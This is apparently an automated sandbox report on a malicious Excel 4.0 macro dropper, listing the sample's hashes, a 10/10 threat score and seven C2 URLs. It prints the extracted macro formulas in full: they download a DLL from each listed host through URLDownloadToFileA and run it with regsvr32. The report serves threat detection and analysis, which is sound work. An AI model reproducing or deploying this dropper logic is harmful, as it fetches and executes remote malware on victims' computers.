feeecc836f8e551c67599ae3841d7a1b72fcea0fdf3a0a7048de72579117b3fd

General

Target

feeecc836f8e551c67599ae3841d7a1b72fcea0fdf3a0a7048de72579117b3fd
Size

73KB
Sample

241120-q5efgsyapl
MD5

be6b71fa02e4066ab6a0bc715ae4ac7a
SHA1

f56fbd236c80fd54618a32bd6adc9d20310e6a9f
SHA256

feeecc836f8e551c67599ae3841d7a1b72fcea0fdf3a0a7048de72579117b3fd
SHA512

50551bc1082e0c4d8a30e62a2bad5b777fe1f2a1114c404db196c248ffe2df7d24f4dd71003d03e90c4c0522f33bd0c2146d92550c32f6d77395b32991f3140f
SSDEEP

1536:z1piXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV9A:z1piCtzSmICpH7OZuvZGsMm

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://ayadaonline.com/catalog/z98Igwj/

http://thelockerroom05.com/css/xLxxwxW/

http://ayelet.binamix.com/wp-admin/EQbETdq/

http://hamato.myartsonline.com/v8/l77Eu5t8J9S89cM/

http://vodafone-lte.net/oBtnAMiZWd/HKRRttJEoZ/

https://apc.as/blogs/I3k1ewWViesCQMf/

https://aplys.cz/udm/bBOvDBh7kRS11KC/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ayadaonline.com/catalog/z98Igwj/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://thelockerroom05.com/css/xLxxwxW/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayelet.binamix.com/wp-admin/EQbETdq/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hamato.myartsonline.com/v8/l77Eu5t8J9S89cM/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vodafone-lte.net/oBtnAMiZWd/HKRRttJEoZ/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://apc.as/blogs/I3k1ewWViesCQMf/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplys.cz/udm/bBOvDBh7kRS11KC/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://ayadaonline.com/catalog/z98Igwj/

xlm40.dropper

http://thelockerroom05.com/css/xLxxwxW/

xlm40.dropper

http://ayelet.binamix.com/wp-admin/EQbETdq/

xlm40.dropper

http://hamato.myartsonline.com/v8/l77Eu5t8J9S89cM/

xlm40.dropper

http://vodafone-lte.net/oBtnAMiZWd/HKRRttJEoZ/

xlm40.dropper

https://apc.as/blogs/I3k1ewWViesCQMf/

xlm40.dropper

https://aplys.cz/udm/bBOvDBh7kRS11KC/